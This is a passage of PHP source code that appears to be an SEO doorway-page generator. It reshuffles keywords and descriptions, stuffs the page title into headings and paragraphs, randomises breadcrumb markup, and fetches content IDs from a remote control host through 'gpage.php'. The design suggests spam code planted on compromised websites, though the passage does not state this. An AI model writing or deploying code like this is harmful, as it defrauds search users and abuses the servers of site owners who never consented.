$i++) { if ($i < $yushu) { $arrLast[] = $keyArr[$i]; } else { $arrPre[] = $keyArr[$i]; } } if (count($arrLast)) { foreach ($arrLast as $vs) { $arrPre[] = $vs; } } $pkeyword = implode(',', $arrPre); $pkeywordYuanShi = $pkeyword; } $pdescription = trim($temparrII[1]); if (!$pdescription) { $falgMateDes = 1; } else { $DesArr = explode(',', $pdescription); $num = count($DesArr); $yushu = KEYJG % $num; $arrPre = array(); $arrLast = array(); for ($i = 0; $i < $num; $i++) { if ($i < $yushu) { $arrLast[] = $DesArr[$i]; } else { $arrPre[] = $DesArr[$i]; } } if (count($arrLast)) { foreach ($arrLast as $vs) { $arrPre[] = $vs; } } if (count($nowMateAddArr)) { foreach ($nowMateAddArr as $vs) { $arrPre[] = $vs; } } $pdescription = implode(',', $arrPre); $pDescriptionYuanShi = $pdescription; } } else { $pkeyword = $Ptitle; $falgMateDes = 1; } } else { $catArr = array(); if (strstr($mateStr, '#keydescription#')) { $temparrII = explode('#keydescription#', $mateStr); $pkeyword = $temparrII[0]; if (!$pkeyword) { $pkeyword = $Ptitle; } else { $keyArr = explode(',', $pkeyword); $num = count($keyArr); $yushu = KEYJG % $num; $arrPre = array(); $arrLast = array(); for ($i = 0; $i < $num; $i++) { if ($i < $yushu) { $arrLast[] = $keyArr[$i]; } else { $arrPre[] = $keyArr[$i]; } } if (count($arrLast)) { foreach ($arrLast as $vs) { $arrPre[] = $vs; } } $pkeyword = implode(',', $arrPre); $pkeywordYuanShi = $pkeyword; } $pdescription = trim($temparrII[1]); if (!$pdescription) { $falgMateDes = 1; } else { $DesArr = explode(',', $pdescription); $num = count($DesArr); $yushu = KEYJG % $num; $arrPre = array(); $arrLast = array(); for ($i = 0; $i < $num; $i++) { if ($i < $yushu) { $arrLast[] = $DesArr[$i]; } else { $arrPre[] = $DesArr[$i]; } } if (count($arrLast)) { foreach ($arrLast as $vs) { $arrPre[] = $vs; } } if (count($nowMateAddArr)) { foreach ($nowMateAddArr as $vs) { $arrPre[] = $vs; } } $pdescription = implode(',', $arrPre); $pDescriptionYuanShi = $pdescription; } } else { $pkeyword = $Ptitle; $falgMateDes = 1; } } if ($falgMateDes) { $desPosition = (KEYJG + $id23) % 6; if ($desPosition == 0) { $pdescription = $Ptitle . ' ' . $nowMateAddArr[0] . ' ' . $nowMateAddArr[1]; } elseif ($desPosition == 1) { $pdescription = $nowMateAddArr[1] . ' ' . $Ptitle . ' ' . $nowMateAddArr[0]; } elseif ($desPosition == 2) { $pdescription = $Ptitle . ' ' . $nowMateAddArr[0] . ' ' . $nowMateAddArr[1]; } elseif ($desPosition == 3) { $pdescription = $nowMateAddArr[1] . ' ' . $nowMateAddArr[0] . ' ' . $Ptitle; } elseif ($desPosition == 4) { $pdescription = $nowMateAddArr[0] . ' ' . $Ptitle . ' ' . $nowMateAddArr[1]; } elseif ($desPosition == 5) { $pdescription = $nowMateAddArr[0] . ' ' . $nowMateAddArr[1] . ' ' . $Ptitle; } } $tpKeyStrCat = -1; $BreadStr = getBreadcrum($Ptitle, $catArr, $id23, $PtitleNowid); if (count($catArr)) { $endCatName = end($catArr); $beginCatName = $catArr[0]; $addKeyWordStr = ', ' . implode(', ', $catArr); } else { $beginCatName = ''; $endCatName = ''; } if (function_exists("preg_split")) { $PtitleArr = preg_split('/\\s+/us', $Ptitle); } else { $PtitleArr = explode(' ', $Ptitle); } $tpTitleArr = array(); foreach ($PtitleArr as $vs) { $vs = trim($vs); if ($vs) { $tpTitleArr[] = $vs; } } $numTitleArr = count($tpTitleArr); $randTkeyI = RANDNUMI % $numTitleArr; $createTitleI = getRandStrArr($tpTitleArr, $randTkeyI); $randTkeyII = RANDNUMII % $numTitleArr; if ($randTkeyI == $randTkeyII) { $randTkeyII = abs($randTkeyI - 2); } $createTitleII = getRandStrArr($tpTitleArr, $randTkeyII); $arrTopStrs = array(); $arrTopStrs[] = $createTitleI; $arrTopStrs[] = $pdescription; $arrTopStrs[] = $createTitleII; $arrTopStrs[] = '###nowtitles###'; $fistKey = ($id23 + RANDNUMI) % count($arrTopStrs); $secondKey = $id23 * RANDNUMII % count($arrTopStrs); if ($fistKey == $secondKey) { $secondKey = ($fistKey + 1) % count($arrTopStrs); } $keyRandThree = ($id23 + KEYJG) % 2; foreach ($arrTopStrs as $key => $vs) { if ($key != $fistKey && $key != $secondKey) { if ($keyRandThree == 0) { if (!isset($threeKey)) { $threeKey = $key; } else { $fourKey = $key; } } else { if (!isset($fourKey)) { $fourKey = $key; } else { $threeKey = $key; } } } } $headAddStr = '<p>' . $arrTopStrs[$fistKey] . ', ' . $arrTopStrs[$secondKey] . ', ' . $arrTopStrs[$threeKey] . ', ' . $arrTopStrs[$fourKey] . '.</p>' . PHP_EOL; $tempKeyArr = array(); $tempKeyArr[$randTkeyI] = 1; $tempKeyArr[$randTkeyII] = 1; $keyJg = ($id23 + KEYJG) % 3 + 1; $bgKeyNs = ($id23 + KEYJG) % $numTitleArr; for ($i = 0; $i < 20; $i++) { if (!isset($tempKeyArr[$bgKeyNs]) && !isset($randTkeyIII)) { $randTkeyIII = $bgKeyNs; $tempKeyArr[$randTkeyIII] = 1; } elseif (!isset($tempKeyArr[$bgKeyNs])) { $randTkeyIIII = $bgKeyNs; $tempKeyArr[$randTkeyIIII] = 1; break; } $bgKeyNs = ($bgKeyNs + $keyJg) % $numTitleArr; } if (!isset($randTkeyIII)) { $randTkeyIII = $randTkeyI; } if (!isset($randTkeyIIII)) { $randTkeyIIII = $randTkeyII; } $createTitleIII = getRandStrArr($tpTitleArr, $randTkeyIII); $createTitleIIII = getRandStrArr($tpTitleArr, $randTkeyIIII); $arrLastStrs = array(); $arrLastStrs[] = $createTitleIII; $arrLastStrs[] = $createTitleIIII; $arrLastStrs[] = '###nowtitles###'; $fistKey = ($id23 + RANDNUMI) % count($arrLastStrs); $secondKey = $id23 * RANDNUMII % count($arrLastStrs); if ($fistKey == $secondKey) { $secondKey = ($fistKey + 1) % count($arrLastStrs); } foreach ($arrLastStrs as $key => $vs) { if ($key != $fistKey && $key != $secondKey) { $threeKey = $key; } } $footAddStrII = '<p>' . $arrLastStrs[$fistKey] . ', ' . $arrLastStrs[$secondKey] . ', ' . $arrLastStrs[$threeKey] . '.</p>' . PHP_EOL; $addTopStr = ''; $addTopStr .= $headAddStr; $addTopStr .= "<h1>{$Ptitle}</h1>" . PHP_EOL; $addTopStr .= $BreadStr . PHP_EOL; $addStrII = ''; if (isset($InFoStrArr['nowPimgArr'])) { $tpImgArr = unserialize($InFoStrArr['nowPimgArr']); foreach ($tpImgArr as $tpimg) { $addStrII .= $tpimg . "<br/>" . PHP_EOL; } } if (isset($InFoStrArr['pdes'])) { $InFoStrArr['pdes'] = preg_replace('#\\s+#si', ' ', $InFoStrArr['pdes']); $addStrII .= '<p>' . $InFoStrArr['pdes'] . "</p>" . PHP_EOL; } $addTopStr .= $addStrII; $tpaddstr = ''; $tpaddstr .= "<h2>{$Ptitle}</h2>" . PHP_EOL; if (isset($InFoStrArr['nowPimgArrYs'])) { $tpImgArr = unserialize($InFoStrArr['nowPimgArrYs']); foreach ($tpImgArr as $tpimg) { $tpaddstr .= $tpimg . "<br/>" . PHP_EOL; } } $arrFlinks = array(); $fr1Strs = '<ul>' . PHP_EOL; foreach ($fr1Arr as $key => $vs) { $tpPid = $key; $tpFlink = getalink($tpPid, $vs); if (strstr($vs, '#cat#')) { $tp_name_arr = explode('#cat#', $vs); $vs = $tp_name_arr[1]; } $fr1Strs .= '<li><a title="' . $vs . '" href="' . $tpFlink . '">' . $vs . '</a></li>' . PHP_EOL; $arrFlinks[] = '<a title="' . $vs . '" href="' . $tpFlink . '">' . $vs . '</a>'; } $fr1Strs .= '</ul>' . PHP_EOL; if (isset($fr2Arr)) { $fr2Strs = '<ul>' . PHP_EOL; foreach ($fr2Arr as $key => $vs) { $tpPid = $key; $tpFlink = getalink($tpPid, $vs); if (strstr($vs, '#cat#')) { $tp_name_arr = explode('#cat#', $vs); $vs = $tp_name_arr[1]; } $fr2Strs .= '<li><a title="' . $vs . '" href="' . $tpFlink . '">' . $vs . '</a></li>' . PHP_EOL; } $fr2Strs .= '</ul>' . PHP_EOL; } $addPdesStrII = ''; $addPdesStrII .= "<h2>{$Ptitle}</h2>" . PHP_EOL; $addPdesStrII .= $fr1Strs . PHP_EOL; $addStrDes1 = ''; if (isset($InFoStrArr['nowDesNameArrStr'])) { $Random = (KEYJG + $id23) % 3 + 3; $tpDesNameArr = unserialize($InFoStrArr['nowDesNameArrStr']); $lenthNameArr = count($tpDesNameArr); $lenthFlinkArr = $Random; $numShan = intval($lenthNameArr / $lenthFlinkArr); if ($numShan < 1) { $numShan = 1; } $flag = 0; $shengyu = $lenthNameArr - $lenthFlinkArr * $numShan; $shengyu = $shengyu - 2; $bgnum = 0; $endnum = $lenthNameArr - 1; $arrKeyNum = array(); while ($shengyu > 0) { $arrKeyNum[$bgnum++] = $numShan + 1; $shengyu--; if ($shengyu > 0) { $arrKeyNum[$endnum--] = $numShan + 1; } $shengyu--; } $nowTempFlag = 0; $nowTempNumFlag = 0; $tempDesNameArr = array(); foreach ($tpDesNameArr as $tpdesKey => $tpdesVs) { $nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan; if ($nowTempNumFlag < $nowLens) { $tempDesNameArr[] = $tpdesVs; $nowTempNumFlag++; } else { $tempDesNameArr[] = "<b>{$Ptitle}</b>"; $nowTempFlag++; $tempDesNameArr[] = $tpdesVs; $nowTempNumFlag = 1; } } while ($nowTempFlag <= $lenthFlinkArr - 1) { $nowTempFlag++; $tempDesNameArr[] = "<b>{$Ptitle}</b>"; } $tpDesNameArr = $tempDesNameArr; $tempArrLen = count($tpDesNameArr) - 1; $i = 0; foreach ($tpDesNameArr as $tpdesKey => $tpdesVs) { $tempLen = strlen($tpdesVs) + $i; if ($tempLen % 2 == 1) { $nowtempfh = ', '; } else { $nowtempfh = '. '; } if ($i == $tempArrLen) { $addStrDes1 .= $tpdesVs . '.'; } else { $addStrDes1 .= $tpdesVs . $nowtempfh; } $i++; } $addStrDes1 = '<p>' . $addStrDes1 . '</p>' . PHP_EOL; } $addPdesStr = ''; $addStrDesII = ''; if (isset($InFoStrArr['fpNameStr'])) { $Random = (KEYJG + $id23) % 2 == 0 ? 3 : 2; $tpDesNameArr = unserialize($InFoStrArr['fpNameStr']); $tempArrLen = count($tpDesNameArr) - 1; $temp_arr = array(); foreach ($tpDesNameArr as $tpdesKey => $tpdesVs) { if (strstr($tpdesVs, '#cat#')) { $tp_name_arr = explode('#cat#', $tpdesVs); $tpdesVs = $tp_name_arr[1]; } $temp_arr[$tpdesKey] = $tpdesVs; } $tpDesNameArr = $temp_arr; $lenthNameArr = count($tpDesNameArr); $lenthFlinkArr = $Random; $numShan = intval($lenthNameArr / $lenthFlinkArr); if ($numShan < 1) { $numShan = 1; } $flag = 0; $shengyu = $lenthNameArr - $lenthFlinkArr * $numShan; $shengyu = $shengyu - 2; $bgnum = 0; $endnum = $lenthNameArr - 1; $arrKeyNum = array(); while ($shengyu > 0) { $arrKeyNum[$bgnum++] = $numShan + 1; $shengyu--; if ($shengyu > 0) { $arrKeyNum[$endnum--] = $numShan + 1; } $shengyu--; } $nowTempFlag = 0; $nowTempNumFlag = 0; $tempDesNameArr = array(); foreach ($tpDesNameArr as $tpdesKey => $tpdesVs) { $nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan; if ($nowTempNumFlag < $nowLens) { $tempDesNameArr[] = $tpdesVs; $nowTempNumFlag++; } else { $tempDesNameArr[] = "<b>{$Ptitle}</b>"; $nowTempFlag++; $tempDesNameArr[] = $tpdesVs; $nowTempNumFlag = 1; } } while ($nowTempFlag <= $lenthFlinkArr - 1) { $nowTempFlag++; $tempDesNameArr[] = "<b>{$Ptitle}</b>"; } $tpDesNameArr = $tempDesNameArr; $i = 0; foreach ($tpDesNameArr as $tpdesKey => $tpdesVs) { $tempLen = strlen($tpdesVs) + $i; if ($tempLen % 2 == 1) { $nowtempfh = ', '; } else { $nowtempfh = '. '; } if ($i == $tempArrLen) { $addStrDesII .= $tpdesVs . '.'; } else { $addStrDesII .= $tpdesVs . $nowtempfh; } $i++; } $addStrDesII = '<p>' . $addStrDesII . '</p>' . PHP_EOL; } $tpaddstr = $tpaddstr . PHP_EOL . $addStrDesII . "<br/>"; $addPdesStr .= "<h3>{$Ptitle}</h3>" . PHP_EOL; $addPdesStr .= $addStrDes1 . PHP_EOL; $addH3Str = "<h3>{$Ptitle}</h3>"; $thisPnameLink = '<a href="">' . $nowIdName . '</a>'; $thisPnameLink2 = '<a title="' . $nowIdName . '" href="">' . $nowIdName . '</a>'; $thisTitleLink = '<a title="' . $Ptitle . '" href="">' . $Ptitle . '</a>'; $flagH2I = 1; $flagH2II = 1; $flagH2III = 1; $fileMb = fopen("template.html", "r"); $html = fread($fileMb, filesize("template.html")); $numBz = 0; $titleKeys = KEYJG % 6; $catUseKey = (KEYJG + $id23) % count($catArr); $catUseKeyTwo = (KEYJG + 1) * $id23 % count($catArr); if ($catUseKey == $catUseKeyTwo) { $catUseKeyTwo = ($catUseKeyTwo + 1) % count($catArr); } $flagCatThree = 0; if (count($catArr) >= 3) { foreach ($catArr as $key => $vs) { if ($key != $catUseKey && $key != $catUseKeyTwo) { $catUseKeyThree = $key; } } $catPos = (KEYJG + $id23) % 2; if ($catPos) { $catStr = $catArr[$catUseKeyTwo] . ' ' . $catArr[$catUseKeyThree]; } else { $catStr = $catArr[$catUseKeyThree] . ' ' . $catArr[$catUseKeyTwo]; } } else { $catStr = $catArr[$catUseKeyTwo]; } $catPreStr = $catArr[$catUseKey]; if (preg_match('#.*\\.(.*)\\..*#i', $thisdom)) { $usdomStr = preg_replace('#.*\\.(.*)\\..*#i', '\\1', $thisdom); } else { $usdomStr = preg_replace('#(.*)\\..*#i', '\\1', $thisdom); } $titlePosition = (KEYJG + $id23) % 6; if ($titlePosition == 0) { $nowShowTitle = $Ptitle . ' ' . $catStr . ' ' . $catPreStr; } elseif ($titlePosition == 1) { $nowShowTitle = $catPreStr . ' ' . $Ptitle . ' ' . $catStr; } elseif ($titlePosition == 2) { $nowShowTitle = $Ptitle . ' ' . $catStr . ' ' . $catPreStr; } elseif ($titlePosition == 3) { $nowShowTitle = $catPreStr . ' ' . $catStr . ' ' . $Ptitle; } elseif ($titlePosition == 4) { $nowShowTitle = $catStr . ' ' . $Ptitle . ' ' . $catPreStr; } elseif ($titlePosition == 5) { $nowShowTitle = $catStr . ' ' . $catPreStr . ' ' . $Ptitle; } else { $nowShowTitle = $Ptitle; } $pdescription = trim($pdescription); $addTopStr = str_replace('###nowtitles###', $Ptitle, $addTopStr); $tpaddstr = str_replace('###nowtitles###', $Ptitle, $tpaddstr); $footAddStrII = str_replace('###nowtitles###', $Ptitle, $footAddStrII); $html = str_ireplace('draft_or_post_title', $nowShowTitle, $html); $html = str_ireplace('#bbbkeybbb#', $pkeyword . $addKeyWordStr, $html); $html = str_ireplace('#bbbdesbbb#', $pdescription, $html); $html = str_ireplace('#bbb1content1bbb#', $addTopStr, $html); if (strstr($html, '#link3#')) { if ($flagH2I) { $html = str_replace('#link3#', $addPdesStrII, $html); $flagH2I = 0; } else { $html = str_replace('#link3#', '', $html); } } if (strstr($html, '#flink#')) { if ($flagH2I) { $html = str_replace('#flink#', $addPdesStrII, $html); $flagH2I = 0; } elseif ($flagH2II) { $html = str_replace('#flink#', $addPdesStr, $html); $flagH2II = 0; } else { $html = str_replace('#flink#', '', $html); } } if (strstr($html, '#link4#')) { if ($flagH2I) { $html = str_replace('#link4#', $addPdesStrII, $html); $flagH2I = 0; } elseif ($flagH2II) { $html = str_replace('#link4#', $addPdesStr, $html); $flagH2II = 0; } elseif ($flagH2III) { $html = str_replace('#link4#', '', $html); $flagH2III = 0; } else { $html = str_replace('#link4#', '', $html); } } if (strstr($html, '#link5#')) { if ($flagH2I) { $html = str_replace('#link5#', $addPdesStrII, $html); $flagH2I = 0; } elseif ($flagH2II) { $html = str_replace('#link5#', $addPdesStr, $html); $flagH2II = 0; } elseif ($flagH2III) { $html = str_replace('#link5#', '', $html); $flagH2III = 0; } else { $html = str_replace('#link5#', '', $html); } } if (strstr($html, '#Flink2#')) { if ($flagH2I) { $html = str_replace('#Flink2#', $addPdesStrII, $html); $flagH2I = 0; } elseif ($flagH2II) { $html = str_replace('#Flink2#', $addPdesStr, $html); $flagH2II = 0; } elseif ($flagH2III) { $html = str_replace('#Flink2#', '', $html); $flagH2III = 0; } else { $html = str_replace('#Flink2#', '', $html); } } $lastAddStrs = ''; if ($flagH2I) { $lastAddStrs .= $addPdesStrII . PHP_EOL; } if ($flagH2II) { $lastAddStrs .= $addPdesStr . PHP_EOL; } if ($lastAddStrs) { $tpaddstr = $tpaddstr . PHP_EOL . $lastAddStrs; } $html = str_ireplace('#bbb2content2bbb#', '', $html); $html = str_ireplace('#descontent#', $tpaddstr, $html); $html = str_replace('#link1#', '', $html); $html = str_replace('#link2#', '', $html); $footKey = "<h3>{$Ptitle}</h3>" . PHP_EOL . "{$footAddStrII}" . PHP_EOL; $html = str_replace('</body', $footKey . '</body', $html); echo $html; die; function getRandStrArr($tpArr = array(), $bgKey = 0) { $returnStr = ''; $numArr = count($tpArr); for ($i = $bgKey + 1; $i < $numArr; $i++) { $returnStr .= $tpArr[$i] . ' '; } for ($i = 0; $i <= $bgKey; $i++) { $returnStr .= $tpArr[$i] . ' '; } return trim($returnStr); } function getBreadcrum($Ptitle, $catArr, $id23, $pname) { global $arrBread, $thisdom; $breadTagkey = KEYJG % 6; if ($breadTagkey == 0) { $breadTagHtml1 = 'nav'; $breadTagHtml2 = 'ul'; } elseif ($breadTagkey == 1) { $breadTagHtml1 = 'nav'; $breadTagHtml2 = 'ol'; } elseif ($breadTagkey == 2) { $breadTagHtml1 = 'div'; $breadTagHtml2 = 'ol'; } elseif ($breadTagkey == 3) { $breadTagHtml1 = 'section'; $breadTagHtml2 = 'ol'; } elseif ($breadTagkey == 4) { $breadTagHtml1 = 'section'; $breadTagHtml2 = 'ul'; } else { $breadTagHtml1 = 'div'; $breadTagHtml2 = 'ul'; } $arrBreadNum = count($arrBread); $domlen = strlen($thisdom); $breadTagkey = $domlen % 5; $liClassYs = KEYJG % 19; if ($liClassYs == 0) { $liStr = ' class="item"'; } elseif ($liClassYs == 1) { $liStr = ' class="breadcrumbs-item"'; } elseif ($liClassYs == 2) { $liStr = ' class="nz-breadcrumb-item"'; } elseif ($liClassYs == 3) { $liStr = ' class="items"'; } elseif ($liClassYs == 4) { $liStr = ' class="breadcrumblist-items"'; } elseif ($liClassYs == 5) { $liStr = ' class="el-breadcrumb-item"'; } elseif ($liClassYs == 6) { $liStr = ' class="doc-crumb-item"'; } elseif ($liClassYs == 7) { $liStr = ' class="breadcrumb-item"'; } elseif ($liClassYs == 8) { $liStr = ' class="crumbs-item"'; } elseif ($liClassYs == 9) { $liStr = ' class="bread-item"'; } elseif ($liClassYs == 10) { $liStr = ' class="breads-item"'; } elseif ($liClassYs == 11) { $liStr = ' class="breadcrumbItem"'; } elseif ($liClassYs == 12) { $liStr = ' class="breadcrumbItems"'; } elseif ($liClassYs == 13) { $liStr = ' class="breadcrumblistitems"'; } elseif ($liClassYs == 14) { $liStr = ' class="BreadcrumbItem"'; } elseif ($liClassYs == 15) { $liStr = ' class="ListItem"'; } elseif ($liClassYs == 16) { $liStr = ' class="crumb-items"'; } else { $liStr = ''; } $arrBreadId = array(); $arrBreadId[] = 'Bread'; $arrBreadId[] = 'BreadHead'; $arrBreadId[] = 'Breadcrumb'; $arrBreadId[] = 'Breadcrumb-Head'; $arrBreadId[] = 'Breadcrumb-Heads'; $arrBreadId[] = 'Breadcrumb-Top'; $arrBreadId[] = 'BreadcrumbHeads'; $arrBreadId[] = 'BreadcrumbLists'; $arrBreadId[] = 'BreadcrumbNavigation'; $arrBreadId[] = 'BreadcrumbTop'; $arrBreadId[] = 'BreadcrumbTops'; $arrBreadId[] = 'MyBreadcrumb'; $arrBreadId[] = 'ant-breadcrumb'; $arrBreadId[] = 'bread-List'; $arrBreadId[] = 'breadtop'; $arrBreadId[] = 'breadtops'; $arrBreadId[] = 'breadHead'; $arrBreadId[] = 'breadHeads'; $arrBreadId[] = 'breadList'; $arrBreadId[] = 'breadLists'; $arrBreadId[] = 'breadcrumb'; $arrBreadId[] = 'c-breadcrumb'; $arrBreadId[] = 'crumbList'; $arrBreadId[] = 'crumb-list'; $arrBreadId[] = 'crumbs'; $arrBreadId[] = 'crumbsHead'; $arrBreadId[] = 'crumbsHeads'; $arrBreadId[] = 'crumbs-head'; $arrBreadId[] = 'crumbs-nag'; $arrBreadId[] = 'crumbsTop'; $arrBreadId[] = 'crumbsTops'; $arrBreadId[] = 'crumbs-top'; $arrBreadId[] = 'cs-breadcrumb'; $arrBreadId[] = 'customBreadcrumb'; $arrBreadId[] = 'doc-crumb'; $arrBreadId[] = 'el-breadcrumb'; $arrBreadId[] = 'l-breadcrumb'; $arrBreadId[] = 'navBreadCrumb'; $arrBreadId[] = 'navBreadCrumbs'; $arrBreadId[] = 'page-breadcrumbs'; $arrBreadId[] = 'pages-breadcrumbs'; $arrBreadId[] = 's-breadcrumb'; $arrBreadId[] = 'v-breadcrumb'; $arrBreadId[] = 'chrome-breadcrumbs'; $keyBreadId = KEYJG % 48; if (isset($arrBreadId[$keyBreadId])) { $keyBreadIdStr = ' id="' . $arrBreadId[$keyBreadId] . '"'; } else { $keyBreadIdStr = ''; } $strBreads = ''; if ($breadTagkey == 4) { $arrBreadC1 = array(); $arrBreadC1[] = 'BreadcrumbData'; $arrBreadC1[] = 'BreadcrumbDatas'; $arrBreadC1[] = 'BreadcrumbTop'; $arrBreadC1[] = 'crumbsHead'; $arrBreadC1[] = 'crumbsTop'; $arrBreadC1[] = 'crumbsList'; $arrBreadC1[] = 'crumbs-top'; $arrBreadC1[] = 'crumbs-list'; $arrBreadC1[] = 'crumbs-Head'; $arrBreadC1[] = 'BreadcrumbTag'; $arrBreadC1[] = 'Breadcrumb-tag'; $arrBreadC1[] = 'BreadcrumbBody'; $arrBreadC1[] = 'BreadcrumbBody'; $arrBreadC1[] = 'Breadcrumb-Top'; $arrBreadC1[] = 'Breadcrumb-body'; $arrBreadC1[] = 'BreadcrumbTops'; $arrBreadC1[] = 'Breadcrumb-Head'; $arrBreadC1[] = 'Breadcrumb-Heads'; $arrBreadC1[] = 'Breadcrumb-List'; $arrBreadC1[] = 'BreadcrumbList'; $arrBreadC1[] = 'BreadcrumbLists'; $ckeyI = KEYJG % count($arrBreadC1); $classI = $arrBreadC1[$ckeyI]; $classII = $domlen % 2 ? 'Breadcrumbs' : 'Breadcrumb'; $strBreads .= '<' . $breadTagHtml1 . $keyBreadIdStr . ' class="' . $classI . '">'; $strBreads .= '<' . $breadTagHtml2 . ' class="' . $classII . '">'; $strBreads .= '<li' . $liStr . '><a href="/">Home</a></li>'; if (count($catArr)) { foreach ($catArr as $vs) { $vs = trim($vs); $nowCatUrl = getCatLink($vs, $id23); $strBreads .= '<li' . $liStr . '><a href="' . $nowCatUrl . '">' . $vs . '</a></li>'; } } $nowUrl = getalink($id23, $pname); $strBreads .= '<li' . $liStr . '><a href="' . $nowUrl . '">' . $Ptitle . '</a></li>'; $strBreads .= '</' . $breadTagHtml2 . '>'; $strBreads .= '</' . $breadTagHtml1 . '>'; } else { $calssBreadKey = KEYJG % $arrBreadNum; $classTop = $arrBread[$calssBreadKey]; $classul = KEYJG % 2 ? 'Breadcrumb' : 'breadcrumbs'; $breadTagkey = $domlen % 2; if ($breadTagkey == 0) { if ($classTop) { $strBreads .= '<' . $breadTagHtml1 . $keyBreadIdStr . ' class="' . $classTop . '">'; } else { $strBreads .= '<' . $breadTagHtml1 . $keyBreadIdStr . '>'; } $strBreads .= '<' . $breadTagHtml2 . ' class="' . $classul . '" itemscope itemtype="http://schema.org/BreadcrumbList">'; $strBreads .= '<li' . $liStr . ' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="/"><span itemprop="name">Home</span></a><meta itemprop="position" content="1" /></li>'; $flagNum = 2; if (count($catArr)) { foreach ($catArr as $vs) { $vs = trim($vs); $nowCatUrl = getCatLink($vs, $id23); $strBreads .= '<li' . $liStr . ' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="' . $nowCatUrl . '"><span itemprop="name">' . $vs . '</span></a><meta itemprop="position" content="' . $flagNum . '" /></li>'; $flagNum++; } } $nowUrl = getalink($id23, $pname); $strBreads .= '<li' . $liStr . ' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a href="' . $nowUrl . '"><span itemprop="name">' . $Ptitle . '</span></a><meta itemprop="position" content="' . $flagNum . '" /></li>'; $strBreads .= '</' . $breadTagHtml2 . '>'; $strBreads .= '</' . $breadTagHtml1 . '>'; } else { if ($classTop) { $strBreads .= '<' . $breadTagHtml1 . $keyBreadIdStr . ' class="' . $classTop . '">'; } else { $strBreads .= '<' . $breadTagHtml1 . $keyBreadIdStr . '>'; } $strBreads .= '<' . $breadTagHtml2 . ' class="' . $classul . '" itemscope itemtype="http://schema.org/BreadcrumbList">'; $strBreads .= '<li' . $liStr . ' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/" itemprop="url"><span itemprop="title">Home</span></a></li>'; if (count($catArr)) { foreach ($catArr as $vs) { $vs = trim($vs); $nowCatUrl = getCatLink($vs, $id23); $strBreads .= '<li' . $liStr . ' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="' . $nowCatUrl . '" itemprop="url"><span itemprop="title">' . $vs . '</span></a></li>'; } } $nowUrl = getalink($id23, $pname); $strBreads .= '<li' . $liStr . '><a href="' . $nowUrl . '">' . $Ptitle . '</a></li>'; $strBreads .= '</' . $breadTagHtml2 . '>'; $strBreads .= '</' . $breadTagHtml1 . '>'; } } return $strBreads; } function get_scheme() { if (isset($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https' || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https' || isset($_SERVER['HTTP_CF_VISITOR']) && strstr($_SERVER['HTTP_CF_VISITOR'], 'https') || isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on' || isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443') { $httpPre = 'https'; } else { $httpPre = 'http'; } return $httpPre; } function get_shares() { $siteLink = get_scheme() . '://' . $_SERVER['HTTP_HOST']; $shareStr = ' <ul> <li><a href="https://www.facebook.com/sharer/sharer.php?u=domain" target="_blank"><span>facebook</span></a></li> <li><a href="https://twitter.com/share?url=domain" target="_blank"><span>twitter</span></a></li> <li><a href="https://www.linkedin.com/shareArticle?mini=true&url=domain" target="_blank"><span>linkedin</span></a></li> <li><a href="https://pinterest.com/pin/create/button/?url=domain" target="_blank"><span>pinterest</span></a></li> </ul> '; $shareStr = str_replace('domain', $siteLink, $shareStr); return $shareStr; } function getCatLink($CatName, $id23) { global $arrnametime, $arrKeywz, $date_string; $filePres = ''; $fileEnds = ''; $siteLink = get_scheme() . '://' . $_SERVER['HTTP_HOST']; $dirNames = dirname(__FILE__); $httcReplace = end(explode(DIRECTORY_SEPARATOR, $dirNames)); if (JDT == 2) { $filePres = $siteLink . "/" . $httcReplace . "/" . basename(__FILE__) . "/"; } elseif (JDT == 1) { $filePres = $siteLink . "/" . $httcReplace . "/"; } elseif (JDT == 3) { $filePres = $siteLink . "/" . $httcReplace . "/" . basename(__FILE__) . "?cat="; } else { $filePres = $siteLink . "/"; } $CatName = str_replace('&', ' ', $CatName); $CatName = str_replace('&', ' ', $CatName); if (JDT == 3) { $CatName = preg_replace('#\\s+#i', '-', $CatName); while (strstr($CatName, '--')) { $CatName = str_replace('--', '-', $CatName); } $urlMid = $CatName; $rtStr = $filePres . $urlMid; $rtStr = str_replace($filePres . '-', $filePres, $rtStr); return $rtStr; } global $tpKeyStrCat; $endNumber = ''; $tpNum = KEYJG * $id23; $tpKey = $tpNum % count($date_string); $lenStr = strlen($date_string[$tpKey]); if ($tpKeyStrCat == -1) { $tpKeyStrCat = (KEYJG + $pid) % $lenStr; } $tpstr = $date_string[$tpKey]; $randStr = ''; $arrNum = array(); for ($i = 0; $i < $lenStr; $i++) { $vs = $tpstr[$tpKeyStrCat]; $int_vs = ord($vs); if ($int_vs >= 100 and $int_vs <= 119) { $arrNum[] = $int_vs % 10; if (count($arrNum) >= 3) { break; } } $tpKeyStrCat = ($tpKeyStrCat + 1) % $lenStr; } $catNum = implode('', $arrNum); $CatName = preg_replace('#\\s+#i', '-', $CatName); $CatName = str_replace('--', '-', $CatName); $urlMid = str_replace('--', '-', $CatName) . ''; $rtStr = $filePres . 'catalog' . '-' . $urlMid . JTHZ; $rtStr = str_replace($filePres . '-', $filePres, $rtStr); return $rtStr; } function getMapNum($bgNum, $mapnum) { $TempArr = array(); if ($bgNum + $mapnum <= FNUM) { for ($i = 0; $i < $mapnum; $i++) { $TempArr[$i] = $bgNum + $i - 1; } } else { for ($i = 0; $i < $mapnum; $i++) { if ($bgNum + $i > FNUM) { $TempArr[$i] = $bgNum + $i - 1 - FNUM; } else { $TempArr[$i] = $bgNum + $i - 1; } } } return $TempArr; } function getRandCId($rqurl) { global $thisdom; for ($i = 0; $i < 3; $i++) { $idUrl = GETDOM . "gpage.php?site={$thisdom}&cid={$rqurl}"; $tempIdStr = curl_get_from_webpage($idUrl, '', 5); if (preg_match('#<cid>(\\d+)</cid>#i', 